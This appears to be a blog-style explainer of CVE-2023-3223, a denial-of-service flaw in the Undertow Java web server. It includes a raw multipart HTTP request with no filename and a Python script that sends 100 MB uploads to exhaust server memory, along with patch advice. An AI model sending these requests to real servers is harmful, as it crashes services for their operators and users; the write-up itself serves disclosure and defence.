---

Introduction

Did you know a simple tweak to an HTTP request could bring some Java servers to their knees? That’s what happened with CVE-2023-3223, a Denial of Service (DoS) vulnerability found in Undertow, a popular Java web server—often used in frameworks like Wildfly, Quarkus, and Spring Boot. This long read explains the flaw, provides easy-to-follow code and examples, and shows how someone could exploit it.

What’s the Issue?

Undertow servers use the @MultipartConfig annotation to handle file uploads via HTTP. Normally, you can set a fileSizeThreshold to control whether files get stored temporarily on disk or kept in memory—helpful to stop memory exhaustion.

However, if an attacker crafts a specially designed multipart upload—where the filename is null—Undertow may ignore the threshold. That means huge files can sit in RAM, causing OutOfMemoryErrors and possibly crashing the server.

In Simple Terms

- Who’s affected: Any Java app server running Undertow with input forms that use @MultipartConfig.

What happens: Big, sneaky uploads can bypass file size limits and use up all your memory.

- Why does it matter: Anyone can DoS your server remotely just by uploading a large enough file with a crafty HTTP request.

How The Vulnerability Works

In Undertow, when you handle a file upload with @MultipartConfig, you expect the server to put files over the fileSizeThreshold onto disk. But if the HTTP upload has a filename set to null, the internal handling logic gets tripped up. It keeps the uploaded part in memory—no matter how big!

Here's a simplified flow for safe upload handling:

@MultipartConfig(fileSizeThreshold = 1048576) // 1MB
public class FileUploadServlet extends HttpServlet {
    protected void doPost(HttpServletRequest request, HttpServletResponse response)
            throws ServletException, IOException {
        Part filePart = request.getPart("file");
        // process file
    }
}

Ordinarily, if the upload size exceeds 1 MB, Undertow’s code stores it on disk

if (file.size > fileSizeThreshold) {
    writeFileToDisk(file)
} else {
    keepFileInMemory(file)
}


But, due to the flaw, if the filename is null, the check can be trivially bypassed.

Proof of Concept: Exploiting the Flaw

Suppose you want to test (or an attacker wants to exploit) this on a vulnerable Undertow app.

A crafted request (sent with curl, Python, or Burp Suite) omits the filename

POST /upload HTTP/1.1
Host: target-server
Content-Type: multipart/form-data; boundary=boundary
Content-Length: 100000000

--boundary
Content-Disposition: form-data; name="file"

<giant payload here>
--boundary--


Notice: No filename="..." parameter in Content-Disposition!

Python Example

import requests

class NoFilenameFile(object):
    def __init__(self, content):
        self.content = content
    def read(self):
        return self.content

payload = b"A" * (1024 * 1024 * 100)  # 100 MB

# files expects a (filename, fileobj). Using None as filename.
files = {'file': (None, NoFilenameFile(payload))}
requests.post('http://target-server/upload';, files=files)

Result: This huge blob is stored in memory, not disk. Send a few of these, and the server runs out of heap, throws an OutOfMemoryError, and likely dies or restarts.

References

- CVE-2023-3223 at NIST NVD
- Red Hat Security Advisory
- Undertow Issue Tracker

If you use Undertow directly

- Update Undertow to a version with the patch for CVE-2023-3223 (Changelog).

Summary

CVE-2023-3223 shows how minor details (like a missing filename) can have a big impact on application security. In Undertow, a purposely malformed upload can skip memory protections, opening the door to server crashes.

If you run Java, check your dependencies and ensure you’re patched—before an attacker tries to put your servers out of business with a simple upload.


*Sharing for educational purposes. Always patch your systems and help keep the internet a safer place!*

Timeline

Published on: 09/27/2023 15:18:00 UTC
Last modified on: 09/28/2023 17:43:00 UTC